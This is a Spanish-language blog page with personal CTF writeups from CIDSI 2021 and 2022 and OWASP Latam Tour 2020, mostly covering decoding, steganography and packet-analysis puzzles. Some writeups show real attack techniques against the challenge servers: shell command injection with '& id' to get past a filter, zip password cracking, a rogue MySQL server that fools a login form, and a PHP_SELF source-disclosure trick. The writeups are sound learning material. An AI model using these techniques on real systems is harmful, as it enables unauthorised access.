Categoría: Seguridad

  • Writeup CTF Abierto CIDSI 2022

    A pesar de no formar parte de los equipos este año, apenas me enteré que había un CTF abierto quise probarlo.

    Aquí escribo los ejercicios que pude resolver en el tiempo que quedaba 🙂

    Bandera oculta

    Este ejercicio es el primero.
    Encuentro un ítem de menú escondido:

    Al visitar esa URL encontramos un texto y una imagen.

    Nada parece ser una flag, y reviso la imagen. No hay nada en el png, al parecer. Strings no dice ni pio.


    Rectifico, la solucion era mas facil

    Solo había que conseguir el md5 de ese texto y ya tenía la bandera.

    cidsi{b890ead1792afda0286f86c7912c27a8}

    rev0lution

    En el archivo que nos dan a descargar. conseguimos un archivo llamado flag.py.
    La extensión .py nos da la seña de ser un script Python, pero el archivo no contiene nada legible.

    Con el comando file podemos ver si el archivo es de otro tipo conocido:

    ~/Descargas >>> file flag.py
    flag.py: Byte-compiled Python module for CPython 3.10, timestamp-based, .py timestamp: Sun Nov 27 20:13:42 2022 UTC, .py size: 659 bytes

    ¡Es Python bytecode! Para explicarlo fácil, esto es una especie de híbrido entre código compilado y código interpretado. Ya no es código fácil de leer, pero tiene algunas ventajas como ser más rápido (en teoría).
    El bytecode de Python no es 100% compilado, así que es probable que podamos «descompilarlo» con más facilidad, y así ver qué hace.

    ~/Descargas >>> uncompyle6
    I don't know about Python version '3.10.8' yet.
    Python versions 3.9 and greater are not supported.
    I don't know about Python version '3.10.8' yet.
    Python versions 3.9 and greater are not supported.

    Oops! El decompilador que conseguí no está actualizado. Encontramos otro en https://github.com/zrax/pycdc

    ~/Descargas >>> pycdc flag.pyc
    # Source Generated with Decompyle++
    # File: flag.pyc (Python 3.10)
    
    import argparse
    flag = '05055014210e0f4d50160d47155e0d57047b455b440141564416555b570570145f42064604435e'
    passphrase = 'fl4gHunt3r5!#'
    
    def xorbytes(value = None, key = None):
    
        xor = lambda x, y: chr(ord(x) ^ ord(y))
        encrypted = list()
        for i in range(len(value)):
            encrypted.append(xor(chr(value[i]), key[i % len(key)]))
        return ''.join(encrypted)
    
    
    def main(args):
        decrypted = xorbytes(bytes.fromhex(flag), args.passphrase)
        print(decrypted)
    
    if __name__ == '__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument('passphrase')
        args = parser.parse_args()
        main(args)
        return None

    Genial! Ya podemos ver cómo es el archivo por dentro. Parece que es un programa que se puede ejecutar (por alguna razón no lo hice antes)

    ~/Descargas >>> python flag.pyc
    usage: flag.pyc [-h] passphrase
    flag.pyc: error: the following arguments are required: passphrase

    Vale, me está pidiendo una contraseña. Pero viendo el código, ya sabemos qué darle.

    ~/Descargas >>> python flag.pyc 'fl4gHunt3r5!#'
    cidsi{a9cd8f68acc305023ce537cb8a16541b}

    Arbolito de Navidad

    Es una página web. La abrimos y podemos ver un arbolito:

    Revisamos el código fuente: no hay nada interesante. Mientras vemos los archivos enlazados, vemos que el árbol se genera con CSS, pero otro archivo dice hacer lo mismo, y al abrirlo nos muestra un error:

    Como ese archivo se ve sospechoso, lo revisamos por si encontramos algún texto comprometedor:

    ~/Descargas >>> curl -sv http://5.75.150.197:8080/tree.png | strings
    *   Trying 5.75.150.197:8080...
    * Connected to 5.75.150.197 (5.75.150.197) port 8080 (#0)
    > GET /tree.png HTTP/1.1
    > Host: 5.75.150.197:8080
    > User-Agent: curl/7.86.0
    > Accept: */*
    > 
    * Mark bundle as not supporting multiuse
    < HTTP/1.1 200 OK
    < Date: Wed, 30 Nov 2022 12:57:36 GMT
    < Server: Apache/2.4.54 (Unix)
    < Last-Modified: Sun, 27 Nov 2022 00:32:58 GMT
    < ETag: "30-5ee68e5810280"
    < Accept-Ranges: bytes
    < Content-Length: 48
    < Content-Type: image/png
    < 
    { [48 bytes data]
    * Connection #0 to host 5.75.150.197 left intact
    IHDRcidsi{4rb0l1t0_513mpr3_3n_h0m3}

    Tenemos la bandera 🙂 y solo necesitamos hacerle un md5 a lo que está dentro de los corchetes.

    Captured 1

    Abróchense los cinturones: ese es un ejercicio de esos que te hacen pensar en las sustancias psicotrópicas que podrían haber consumido o no los creadores del CTF 🙂

    En el archivo que descargamos, nos dan un pcap con muchos pings.

    Como ya hemos visto antes ejercicios de paquetes ICMP (verdad?), ya notamos algunas cosas a simple vista:

    1. Si yo ejecuto ping en mi pc, se enviará (y recibirá) un solo paquete por segundo. Pero estos pings van demasiado rápido, varios por segundo.
    2. Los ICMP request tienen TTLs raros, pero los reply siempre son 64. Recordemos que el TTL se suele usar oficialmente como un «medidor» de por cuántos routers ha circulado nuestro paquete, pero puedes poner datos arbitrarios ahí si quieres.
    3. Cada request tiene un payload («contenido del paquete») extraño — según internet el payload es algo predecible como «abcdefgh»… pero este tiene datos binarios. Igualmente el payload de un paquete ICMP es arbitrario, puedes poner algo si quieres y no importará mucho. Los ingenieros de redes lo utilizan para 1) ver si el paquete llega corrupto o no, y 2) depurar problemas de MTU/tamaño máximo de los paquetes.

    Los ICMP Requests son más raros y nos dan más curiosidad. Por eso, ocultaremos los demás paquetes usando filtros, más concretamente icmp.type==8.

    Acá vemos que sí se mandan varios paquetes por segundo:

    y este es una pequeña captura del payload:

    Copio un poco de los payloads y lo guardo en un archivo — no se reconoce ningún formato. De hecho a simple vista parecen datos puramente random, sin estructura visible.

    Mientras tanto vamos viendo otra cosa que igual «varía demasiado», y son los TTLs de los request:

    Estos números no son tan aleatorios: varios caracteres se repiten (será ASCII?) Copio todo al cyberchef y hago una fuerza bruta a mano. Me toma media hora pero al final sí se pudo, convirtiendo esos números de Decimal > Hex > Base58 🙂

    Snippet en CyberChefFrom_Base58(‘123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz’,true)&input=NTEgNTAgNTEgNTUgNTUgNTMgNTQgNTUgNTQgNTMgNTEgNTIgNTQgNTUgNTQgMTAxIDUxIDUyIDUzIDk3IDU0IDU1IDUzIDU0IDUyIDQ5IDUyIDUyIDU0IDEwMCA1MiA1MyA1MiAxMDAgNTIgNDkgNTQgNDkgNTUgNTcgNTIgNTQgNTQgNTIgNTUgNTAgNTIgNTMgNTUgNTQgNTIgOTggNTQgNTIgNTQgMTAyIDUzIDU2IDUzIDU3IDUzIDU2IDUzIDQ5IDUzIDk3IDUxIDU2IDUxIDU3IDU0IDU0IDUxIDUyIDU1IDU3IDU0IDEwMSA1MyA1MiA1NCA1MiA1NCAxMDIgNTEgNTIgNTIgNTQgNTUgNTYgNTMgNTAgNTIgMTAxIDUyIDU1IDU1IDUzIDU1IDUxIDU0IDUyIDUxIDUyIDUyIDUxIDUyIDk5IDQ4IDk3)

    Movimientos

    Nos dan esto:

    No llego a reconocer eso de memoria, pero las posiciones me sugieren que pueden guardar datos.

    Usando Google Imágenes encontramos que esto es efectivamente un cifrado:
    https://www.geocachingtoolbox.com/index.php?lang=es&page=codeTables&id=dancingMen
    https://www.geocaching.com/geocache/GC5M81P_codes-dancing-men?guid=4465d9a4-07be-4863-bd57-0d9162a50f56

    De hecho, nuestro sitio favorito dcode.fr puede cifrarlo y descifrarlo: https://www.dcode.fr/dancing-men-cipher

    Las banderitas de la mano indican si la letra es mayúscula o no. Descifrando a mano, encuentro el texto reklawnooM.

    Revisando, reklawnooM es la respuesta pero si lo invertimos dice Moonwalker (será esa referencia a los 90 que nos indicaron?)

    Como me piden en las instrucciones del CTF, obtengo el MD5 de esa cadena y ya tengo la flag.

    cryptonews

    Bien, nos piden una contraseña, y debemos extraerla del sitio.

    Nosotros haremos exploración manual esta vez, pero no es necesario que lo hagas: si estás de prisa pueden ayudarte herramientas como OWASP Zap o Nikto.

    Encontré cookies, pero no dan mucha info: snippet en CyberChef&input=WVRveU9udHpPalk2SW5WelpYSkpaQ0k3YVRvNE5EUTVNVFU3Y3pvMU9pSjBhR1Z0WlNJN2N6bzFPaUpzYVdkb2RDSTdmUSUzRCUzRA).

    En el código fuente de la página tampoco hay nada relevante.

    En robots.txt encontramos cosas interesantes:


    Varias horas después, regresé al problema y me di cuenta de dos cosas:

    • xmlrpc.php y xmlrpc.php~ se referencian en el archivo.
    • xmlrpc.php y xmlrpc.php~ existen
    • xmlrpc.php se ejecuta con PHP (podemos verificarlo con la cabecera X-Powered-By) pero xmlrpc.php~ no.
    • En otras palabras. los archivos con php~ pueden tener alguna información importante y podremos acceder directamente 🙂

    Podemos revisar nuestra teoria viendo las cabeceras de xmlrpc.php

    … y compararlas con las de xmlrpc.php~

    Me quedé trabado otro rato: probé con archivos conocidos como wp-config.php. Nada :/


    Recuerdan que dijimos que, cada vez que visitas la página, se agregan cookies a tu sesión? Eso solo puede hacerlo… una página dinámica 🙂

    Como los servidores web, al pedirles una página sin un archivo explícito en la URL buscan por defecto el archivo index.php, nosotros revisamos si existe index.php~

    Listo, ya tenemos la contraseña, y así la flag 😀

    Captured 2

    ¿Se acuerdan del problema loco de hace un rato? Volvió en forma de fichas 🙂

    El archivo de la captura ahora tiene lo interesante como payload:

    Tenemos que estraer esos datos marcados de todos los paquetes. Son demasiados datos (no vale la pena hacerlo manual como la anterior vez) asi que leyendo algunos manuales encuentro el cómo automatizar esa tarea.

    ~/Descargas >>> tshark -r /tmp/ark-sAKCdl/chall.pcap -Y "icmp.type==8" -Tfields -e data | tr -d '\n' | xxd -r -p - | base64 -d | strings | grep cidsi
    cidsi{0254abb4c02ed1a5888318e512b69dd6}

    Listo, ya tenemos la bandera!

    Lenguaje Universal

    El archivo que nos dan (cero.rar) tiene la foto de la Plaza Murillo. No hay nada en la imagen.

    Dejé el problema, pero luego vi que en la descripción mencionan lo que se parece mucho a una dirección MAC. Como recuerdo alguna vez haber visto algo parecido a 7A:F8:82, por pura corazonada voy a Wigle.net, y busco esa MAC.

    La MAC le pertenece a un teléfono con una red llamada «mela cumbierita», que resulta ser la flag LMAO

    Qué Rollo

    Bueno, te dan un png como QR, lo lees y te dan una flag falsa.

    Revisando el QR, encuentro que con binwalk chall.png el archivo PNG tiene un JPG oculto dentro:

    DECIMAL       HEXADECIMAL     DESCRIPTION
    --------------------------------------------------------------------------------
    0             0x0             PNG image, 336 x 336, 8-bit/color RGB, non-interlaced
    80            0x50            TIFF image data, big-endian, offset of first image directory: 8
    252           0xFC            JPEG image data, JFIF standard 1.01
    31560         0x7B48          Zlib compressed data, default compression

    Extraigo el archivo con dd y con file compruebo que obtuve el archivo correctamente:

    dd if=chall.png bs=1 skip=252 of=chall2.jpg
    33195+0 records in
    33195+0 records out
    33195 bytes (33 kB, 32 KiB) copied, 0,520363 s, 63,8 kB/s
    
    file chall2.jpg
    chall2.jpg: JPEG image data, JFIF standard 1.01, resolution (DPCM), density 37x37, segment length 16, baseline, precision 8, 336x336, components 1

    Este QR dentro del QR tiene la verdadera bandera!

  • Writeup CTF CIDSI 2021

    Hola! En este writeup detallo cómo he solucionado los problemas del CTF del CIDSI 2021, organizado por AGETIC.


    Navidad en el código

    La dirección que nos adjuntan es la de una web.

    Revisamos la fuente de los archivos. Es algo que ya hago de forma mecánica, incluso una vez que resolví un CTF en la cafetería de la universidad aprendí un atajo para eso en Firefox: Ctrl+U.

    No hay mucho en la página, asi que revisamos los otros archivos.

    Hay un código. Como solo hay letras mayúsculas, bien podría ser base32 (sí lo era).

    flag{El codigo mas dificil de corregir es aquel del que piensas que es imposible que algo esta mal.}


    Desarrollador senior

    Cuando veo códigos, lo primero que hago es abrir CyberChef e ir probando con lo usual: base64, rot13, etc.

    XD


    Bla bla bla 1

    Te dan un zip, y este tiene contraseña.

    Ya que son números, creamos un diccionario con crunch 7 8 0123456789 -o numeritos.txt y crackeamos el zip con fcrackzip -v -u -D -p ~/Descargas/numeritos.txt ~/Descargas/ctf.zip

    Pensé que eso era todo, pero termino con este archivo:

    Mmm…

    Si revisamos si hay cadenas en el archivo (sea con strings de linux o con el Forensically), en los comentarios mencionan «Templarios».

    Ah, ¿los templarios tienen un codigo?

    https://www.dcode.fr/templars-cipher

    Ya tenemos la flag! VAMOSSIGUEADELANTE


    Ataque a R2D2 Corp

    En ese zip tenemos dos archivos: un raw y un dat. Con file vemos que el archivo dat es de texto, y el raw es un archivo 7zip… con contraseña.

    Parece que es texto oculto con figlet. Me instalo gnome-terminal (yo uso KDE) y con esto y un cat, puedo ir reacomodando los caracteres a mano.

    Esos puntitos sirven de guía, al parecer…

    No entiendo lo que quieren decir :/ y los «puntos guía» estan rectos. Aunque, como curiosidad, los puntos siempre aparecen al final pero en esta ocasión aparecen al medio…


    Acá ando bastante confundido, asi que me voy a preparar té. Más tarde se me ocurre que podría intentar «reconstruir» el texto con figlet.

    Oooh, viendo el man, como suponia, ¡hay fuentes para este comando! Pero no sé donde están. Lo normal seria abrir el paquete de figlet y listar las fuentes, pero mi cerebro vago se fue a buscar a internet.

    Oh vaya, el pato tiene esa función integrada. Probaremos haciendo fuerza bruta: probando letra por letra hasta obtener algo muy similar.

    Ya tenemos la cadena: se la paso al ark y ya puedo abrir el 7z.

    Dentro está un archivo que contiene la flag:

    8c9b126596b213283df332002af9478c76fb0d8f-GALF-1202ISDIC

    (Pensé en darle la vuelta, pero esa no era. Ahí perdí un intento)


    Pandas

    El zip tiene contraseña.

    Listo, ya tenemos la contraseña 🙂

    Ambos archivos tienen la misma imagen, pero por el MD5 se ve que son distintos. Comparamos su tamaño, podría ser que uno tenga algo que el otro no. ¿Metadatos?

    Podemos analizar las imágenes una por una, pero es más fácil revisar las diferencias entre los dos archivos con diff.

    🙂


    Crackeando las evidencias

    Nos dan un zip. El pdf está protegido con contraseña, pero una imagen lo acompaña.

    Primero hago una búsqueda reversa, no ayuda en mucho.

    https://www.redbubble.com/es/i/poster/Ahriman-de-Deceptikitty/78670571.E40HW

    https://warhammer40k.fandom.com/wiki/Ahriman

    Bueno, toca ver metadatos.

    ¡Ya tengo la contraseña del PDF!


    Cacheando al mundo

    Bien, memcached. Aprendí algunas cosas de memcached en mi anterior trabajo, pero si no conoces el servicio, puedes buscar en internet algún snippet de stackoverflow.

    https://stackoverflow.com/questions/13940404/whats-the-simplest-way-to-get-a-dump-of-all-memcached-keys-into-a-file#13941700

    Bien. Tenemos un hash y un salt. En las herramientas del CTF mencionaron hashcat, asi que podemos revisarlo.

    Hashcat hizo que amdgpu crasheara y mi Manjaro quedara en mal estado 🙁 pero tengo la contraseña gracias a mis capturas en video 🙂

    Una revisión adicional:

    Inicialmente la flag no funcionó, pero luego de consultar por mail a la organización pues resulta que sí era. ¡Genial!


    Developer enojado

    Me habla algo de una app. No veo una app, solo eso. Los links no llevan a ningún lugar.

    Juguemos con lo que hay.

    Lo que veo es que directamente el sistema me muestra la… salida de comandos de ping. Será que esa web está ejecutando comandos directamente? uuuuuhh

    Viendo el man de mi comando ping, está la opción -V para ver la versión.

    ¡Buenísimo! Efectivamente el sitio está ejecutando comandos directamente.

    Ya que podemos meter comandos, intento ejecutar algo más. Por desgracia, pongo ; y ninguna otra cosa funciona (no me sale nada). Bueno, no se me ocurre nada, me voy a almorzar.


    Tuve una nueva idea más tarde.

    Acá pedí un ping a goo;gle.com pero el comando funcionó XDDDDDDDDD

    Una vez hace muchos años armé un sistema para que la gente pueda ver si estaba en el padrón electoral y pues el sistema solo era un grep a un txt gigante. La cosa es que tenía miedo de un hackeo y pues lo que hice era quitar los ; y entre otras cosas, con un str_replace, y parece que ahora en este reto hicieron lo mismo. Buenas épocas con PHP 😀

    Bien, ahora veo que están filtrando ; de forma intencional. Pruebo con | y con el ´, pero & funciona mejor.

    Con & echo veo si hay algo al final (no hay nada) y entonces pruebo con un comando más informativo.

    & id se ejecutó, y además ya sabemos bajo qué usuario está corriendo el script 🙂

    Con pwd veo donde estamos (/var/www/html) y con ls saco esto

    Bien, veo que ahí hay algunos archivos. Los descargaré.

    Alguien ya estuvo jugando.

    Mientras flutter.apk.zip va descargando, voy viendo la fuente de las páginas.

    XDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD lo sabía!

    Bien, ya tenemos flutter.apk.zip y resulta que es un zip con contraseña. Reviso los php pero no tienen nada, y al rato me di cuenta que hay un wav ahí. El archivo viene con música (Shazam me dice que es Lilium, de Kumiko Noma). La canción me va acompañando en la competencia.

    Cuando le pongo replay y lo veo, me doy cuenta de algo. ¿Por qué un wav? Un mp3 u otro formato recortaría… las frecuencias altas.

    Abro como velocista el audacity y:

    Me distraje con la música. ¡Muy buena, por cierto!

    Pruebo la pw y si, «HAKUNAMATATAS» es el password del zip.


    Bien, ya tengo el apk. Mencionaron algo de la fuente en el problema, asi que toca decompilarlo.

    Recuerdo cuando hacía mods a apps de android (una vez hice que mi Xperia Sola grabe audio con un mejor bitrate): si queremos ver fuente Java, toca ir a revisar smali.

    No encuentro nada, pero la id de la app se ve rara.

    La experiencia que tengo con android es más con apps nativas, y con cosas como Kotlin o Flutter, pues mucho no sé.

    ¡Pero otros sí saben! Voy al pato y me pongo a buscar.

    https://blog.odinshell.ninja/2020/05/25/Reverse-Engineering-Flutter-apps-NullBreaker-CTF

    Oh, vaya. Me imaginaba que con Flutter esto es distinto, pero no sabía que con las compilaciones debug se puede recuperar código original sin compilar.

    En la fuente que vi dice debug. Así que busco ese archivo, lo encuentro xd, y pues lo reviso.

    ¡Bingo!


    Un amor entre desechos químicos

    Los mensajes de la (o del) crush son un clásico en los CTFs. Nos dejan un PDF esta vez.

    Veo las cadenas del pdf con strings para ver si hay algo (nada). Luego quiero extraer las imágenes por si hay algún metadato (intento con pdfimages pero parece que convierte las imágenes y no quiero eso) y termino sacándolas a lo neandertal, a punta de cincel con binwalk y dd.

    Algunas herramientas que no pude probar pero que quizás sirvan en otra ocasión:

    https://github.com/qpdf/qpdf
    https://github.com/jesparza/peepdf

    Vi algunos patrones en los números de la imagen, pero no correlaciono eso con algo conocido (ASCII). No hay nada, y me voy a otro ejercicio.


    Al día siguiente retomo el problema. Miro que le han prestado especial atención al número 119 (quizás es una clave de steghide) y busco número atómico 119. Esto solo por el meme de los Simpsons.

    https://es.wikipedia.org/wiki/Ununennio

    Ununennio, nada interesante. Pero…

    ¿Se acuerdan de la correspondencia con ASCII? ¡Quizás podamos usar esta tabla para convertir esos números a texto!

    22921196344633411992104711956631010553653810

    Este es el número transcrito tal cual. Si el 199 significa algo (Uue), entonces

    2292 119 63446334 119 921047 119 56631010553653810

    De ahí podemos intentar adivinar letras partiendo el número.

    22 92 119 63 44 63 34 119 92 10 47 119 56631010553653810
    Ti U  Uue Eu Ru Eu Se Uue U  Ne Ag 

    Tomando solo la iniciales ya tenemos algo de texto. Reviso de nuevo el pdf y pone que la 119 está vacía, asi que viendo el texto tiene mucho sentido que se asocie un espacio ahí en vez de una letra. Igualmente no sé si tomar números en grupos de dos o tres, pero eso va tomando sentido solito (por ejemplo, 101 05 no tiene sentido, debería ser 10 10 5 o 10 105).

    La última parte me cuesta completarla, ya que 56 63 10 10 55 36 53 81 tiene tanto sentido como 56 63 10 105 53 65 38 10. Pero, viendo los patrones de números repetidos (53 se repite, o sea debe ser una letra), voy probando hasta que termino.

    22 92 119 63 44 63 34 119 92 10 47 119 56 63 10 105 53 6 53 8 10
    Ti U      Eu Ru Eu Se     U  Ne Ag     Ba Eu Ne Db  I  C I  O Ne

    «TU ERES UNA BENDICION»

    Esa es la flag 🙂


    ¿Estos temas te interesan? Puedes ver mi writeup de un CTF anterior, o también unirte a la comunidad Núcleo GNU/Linux, en donde tendremos actividades relacionadas a GNU/Linux y a los CTFs 🙂

  • Writeup CTF OWASP Latam Tour 2020

    Algunas notas personales sobre cómo resolví varios de los ejercicios de esta competencia. Pueden dejar comentarios en el foro Nuna o en el hilo de Twitter.


    Ejercicio Web: Interno

    Este es un ejercicio de web, nadie lo ha resuelto aún, así que debe ser difícil

    Bueno, un formulario, voy a poner admin admin solo para ver.

    0.0

    ¡Apareció mi IP pública! Puedo deducir que:

    Ese formulario se está conectando a una DB MySQL y le pide usuario y contraseña. Pero el form. está configurado para usar la IP origen como BD.

    Esto para nosotros es un gran plus ya que podemos controlarlo.
    Entonces tenemos que montarnos una DB que le dé lo que quiere (un usuario y contraseña que corresponda a lo que yo le ponga en el form) y ya tenemos el ejercicio.

    yo inspirado

    Para probar esa idea, voy a Hetzner Cloud y pido una máquina con Ubuntu 18.04. Ahí instalare mi base de datos.

    • Instalo tcpdump (para ver cómo queda), curl (para las peticiones) y mariadb-server.
    • Configuro mariadb-server (/etc/mysql/mariadb.conf.d/50-server.cnf) con las opciones:
    log-output = FILE
    general_log
    general_log_file        = /var/log/mysql/mysql_query.log

    para que TODOS los querys que le lleguen sean registrados.

    Además abro todas las conexiones externas agregando esto también: bind-address = 0.0.0.0

    Listo, ahora voy a encender tcpdump -i eth0 -n tcp port 3306 -w intentodeconexion.pcap para tener registro de la negociación, y le pido al server remoto que inicie:

    curl -v 'https://internal.ctf.owasplatam.org/login' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: https://internal.ctf.owasplatam.org' -H 'Referer: https://internal.ctf.owasplatam.org/' --data 'username=admin&password=admin'

    He utilizado la consola web de Firefox, pestaña Red, click derecho en la petición POST y Copiar todo como CURL para tener un comando listo para copiar y pegar.

    Listo, copio mi pcap a mi laptop y…

    Bien, sabemos el usuario y la base de datos. La contraseña está hasheada y tienen un salt que la hace cambiar por cada intento de inicio de sesión, no vale la pena romperla. Pero la necesitamos de todas maneras, para que esa web pueda ingresar a nuestra trampa.

    Una idea que tenía era forzar un Auth Plugin que mande la contraseña en texto plano, pero 1) podría habler problemas de negociación (el otro extremo tiene que aceptar y por defecto no sé si lo hace), y 2) recordé que para problemas de autenticación hay una mejor opción que se puede poner en /etc/mysql/mariadb.conf.d/50-server.cnf:

    skip-grant-tables

    Esta opción le dice a la DB que no cargue las tablas de privilegios, y que le dé acceso total al primero que pregunte, no importa qué password le dé o lo que el cliente haya pedido. Es muy útil para resetear contraseñas olvidadas.

    Ya resuelto el problema de la password, ejecutamos el curl de nuevo y vemos el log de queries.

    cat /var/log/mysql/mysql_query.log
    
    ...
    200508 17:47:55    30 Connect   [email protected] as anonymous on db_pepito
                       30 Query     set autocommit=0
                       30 Query     SELECT hash, salt from tbl_users WHERE username = 'admin'

    Genial, ya sabemos la tabla que usa y los campos que tenemos que llenar.

    # mysql
    MariaDB [(none)]> create database db_pepito;
    
    # mysql db_pepito
    
    MariaDB [db_pepito]> create table tbl_users (username VARCHAR(100), hash  VARCHAR(100), salt VARCHAR(100) )
    MariaDB [db_pepito]> insert into table(username,hash,salt) values ('admin','$2y$10$NFZK6WXRY3fvz/lsy1UpMOo7r2lJcxiJncxoFbeKoq2A/sRn3yAU2n','');

    Ok, no hay un campo de contraseña en texto plano, solo un campo de password y un salt. No sé como interactúan estos, asi que tengo que adivinar.

    Haciendo una búsqueda de «tbl_users» en Google (por si el que hizo el script lo sacó de Internet) llegué a este viejo foro donde muestran algo de código de ejemplo usando una estrategia bien casera.

    Si esto funciona, el campo hash tendría que ser hash($password.$salt), donde el hash puede ser md5 o algún sha.
    El campo salt debería ser cualquier cadena, yo usaré milanesa por que aquí es hora de almorzar.

    Como el hash debería estar quieto en la BD y la idea más básica de un salt es evitar ataques de diccionario, el hash en la BD ya debería tener el salt.
    Voy al CyberChef, concateno las cadenas a mano y consigo esto: sha2('adminmilanesa') == 6f56c9139b6d142ef14c19b0b6b192358980473ebbe824054c095104e1c6a101

    Estoy asumiendo que el otro extremo del sistema está usando sha256, podría estar usando otra cosa, sha512, sha1, md5, etc, pero probemos con esto primero.

    MariaDB [db_pepito]> update tbl_users set hash='6f56c9139b6d142ef14c19b0b6b192358980473ebbe824054c095104e1c6a101', salt='milanesa';

    Actualizo mi tabla y le pido al curl que revise.

    ¡Genial!

    Comentarios

    • Quizás no era necesario tener un salt. O sea, poner el salt a '', o sea una cadena vacía, y generar los hashes directamente de la contraseña.
    • En /static/app.js hay algo de código JS empaquetado con Packer. Buscando en internet javascript depacker online o algo así podemos obtener un código de formulario. Con esto, podemos enterarnos de la existencia de la cabecera X-DB-Host que nos servirá para invocar las peticiones desde nuestra máquina, pero que el sitio busque la base de datos en otra IP.
      Como nosotros sabemos cURL, no lo hemos necesitado 🙂

    LessOne

    Ingresamos al problema. Hay un formulario, veremos cómo reacciona…

    Hay un enlace de Source, y parece que nos da el código fuente del script.

    Mmm, ahora hay que analizar el código y pensar.

    Según la lógica del código, la variable loveme (controlada por nosotros) debe ser igual a bin2hex(random_bytes(64)) o sea, una cadena aleatoria muy grande, algo que es imposible de conseguir. Quizás haya un random seed en algún lado que podamos explotar (probablemente en heart.php). Pero eso no nos ayuda, ya que de todas maneras tenemos que intervenir heart.php.

    Supongamos que queremos obtener clandestinamente heart.php. Necesitamos dos cosas:

    • Lograr meter heart.php en el PHP_SELF (fácil)
    • Setear $_GET['source'] (fácil)
    • Hacer que el regex guardián no salte. Esa está difícil.

    Un ayudante crucial es basename: esta función tratará de obtener un nombre de archivo de la dirección que se le dé. Si le damos index.php/holamundo/asdf.php devolverá asdf.php: eso nos asegura que podremos poner cualquier carácter antes del nombre final 🙂

    Ahora estudiaremos la expresión regular en regex101.com y podemos probar algunas cadenas para entender mejor el alcance.

    Si intentamos lo primero que se nos ocurra (poner heart.php al final, como en todos los ataques con PHP_SELF) el regex se dará cuenta y no funcionará.

    … y si forzamos demasiado la cadena, no funcionará 🙁

    Leyendo el regex descompuesto (regex101 ayuda mucho para entenderlos) vemos que este va a saltar si el string termina en heart.php o en heart.php/ (ambos casos cubiertos por basename). Si le ponemos cosas al inicio y antes de / no pasa nada (gracias a basename) pero lo que pongamos al final afectará el nombre que highlight_file recibirá y no funcionará.

    Tenemos que encontrar

    • Algo que no haga saltar al regex. O sea, no debemos terminar en / o dejarlo sin terminar.
    • Si agregamos algún caracter raro, basename tiene que descartarlo sí o sí.

    En algún ejercicio de CTF alguna vez vimos codificación de caracteres para pasarlas por URL, asi que investigamos: https://en.wikipedia.org/wiki/Percent-encoding y https://www.php.net/manual/es/function.basename.php.

    Se puede pasarle un caracter como %20 que significa un espacio » «, pero basename no lo descarta.

    Por otro lado leer esto en la web de PHP me dio interés:

    Tengo un flashback: las versiones antiguas de PHP solo soportaban manipular texto ASCII. UTF-8 es mucho más grande, y para nosotros los latinos era normal tener que cambiar a mano funciones que trataban cadenas con sus pares que comenzaban con mb_ (multibyte) ya que podías matar las funciones básicas con una ñ.

    Mmm, si pones caracteres Unicode basename los borra. Esto nos viene muy bien.

    Para lo de Percent Encoding no tenemos toda la tabla de caracteres Unicode a nuestra disposición, pero podemos probar con algún caracter del extremo final, que estamos seguros ya no será parte de ASCII.


    Incidente Max Headroom

    Tenemos un archivo: intruso.rar. No tiene contraseña y dentro hay un video.

    Perfil de mediaInfo:

    General
    Complete name                            : /net/looper/l10e/ctf/owasp2020/intruso.mp4
    Format                                   : MPEG-4
    Format profile                           : Base Media / Version 2
    Codec ID                                 : mp42 (isom/mp42)
    File size                                : 52.5 MiB
    Duration                                 : 1 min 17 s
    Overall bit rate mode                    : Variable
    Overall bit rate                         : 5 717 kb/s
    Encoded date                             : UTC 2020-05-08 06:51:48
    Tagged date                              : UTC 2020-05-08 06:51:48
    
    Video
    ID                                       : 1
    Format                                   : AVC
    Format/Info                              : Advanced Video Codec
    Format profile                           : [email protected]
    Format settings                          : CABAC / 2 Ref Frames
    Format settings, CABAC                   : Yes
    Format settings, Reference frames        : 2 frames
    Codec ID                                 : avc1
    Codec ID/Info                            : Advanced Video Coding
    Duration                                 : 1 min 16 s
    Bit rate mode                            : Variable
    Bit rate                                 : 5 334 kb/s
    Maximum bit rate                         : 6 000 kb/s
    Width                                    : 1 280 pixels
    Height                                   : 720 pixels
    Display aspect ratio                     : 16:9
    Frame rate mode                          : Constant
    Frame rate                               : 29.970 (30000/1001) FPS
    Standard                                 : NTSC
    Color space                              : YUV
    Chroma subsampling                       : 4:2:0
    Bit depth                                : 8 bits
    Scan type                                : Progressive
    Bits/(Pixel*Frame)                       : 0.193
    Stream size                              : 49.0 MiB (93%)
    Language                                 : English
    Encoded date                             : UTC 2020-05-08 06:51:48
    Tagged date                              : UTC 2020-05-08 06:51:48
    Color range                              : Limited
    Color primaries                          : BT.709
    Transfer characteristics                 : BT.709
    Matrix coefficients                      : BT.709
    Codec configuration box                  : avcC
    
    Audio
    ID                                       : 2
    Format                                   : AAC LC
    Format/Info                              : Advanced Audio Codec Low Complexity
    Codec ID                                 : mp4a-40-2
    Duration                                 : 1 min 17 s
    Bit rate mode                            : Constant
    Bit rate                                 : 384 kb/s
    Channel(s)                               : 2 channels
    Channel layout                           : L R
    Sampling rate                            : 48.0 kHz
    Frame rate                               : 46.875 FPS (1024 SPF)
    Compression mode                         : Lossy
    Stream size                              : 3.49 MiB (7%)
    Language                                 : English
    Encoded date                             : UTC 2020-05-08 06:51:48
    Tagged date                              : UTC 2020-05-08 06:51:48

    Mientras estaba por revisar cabeceras y estaba pensando por qué un viejo video tendría 384Kbps de bitrate de audio (eso es raro de ver), unos ruidos agudos por el segundo 40 asustaron a mi gato y ya me di cuenta de lo que podría ser.

    Abro el archivo con Audacity.


    Y esto? Puros símbolos

    Abrimos la web y en el código fuente nos encontramos con un comentario sospechoso, que nos manda a /CTFuck?injection=.

    Naturalmente, tenemos que inventarnos un payload y ponerlo en injection. Algo curioso, si no le respondes con alguna combinación que no forme parte de []()! te muestra LAME :\ y te manda a volar investigar esolangs. Y como el payload lo pone en una variable JS investigué esolangs con JS y salió JSFuck!

    http://www.jsfuck.com/

    Ya tengo mi payload 🙂

    (![]+[])[+[]]+(![]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]

    Mis + se borran y eso arruina todo. Pruebo de todo pero no consigo que los + aparezcan. Intento esto por horas y me voy a dormir con la incógnita.

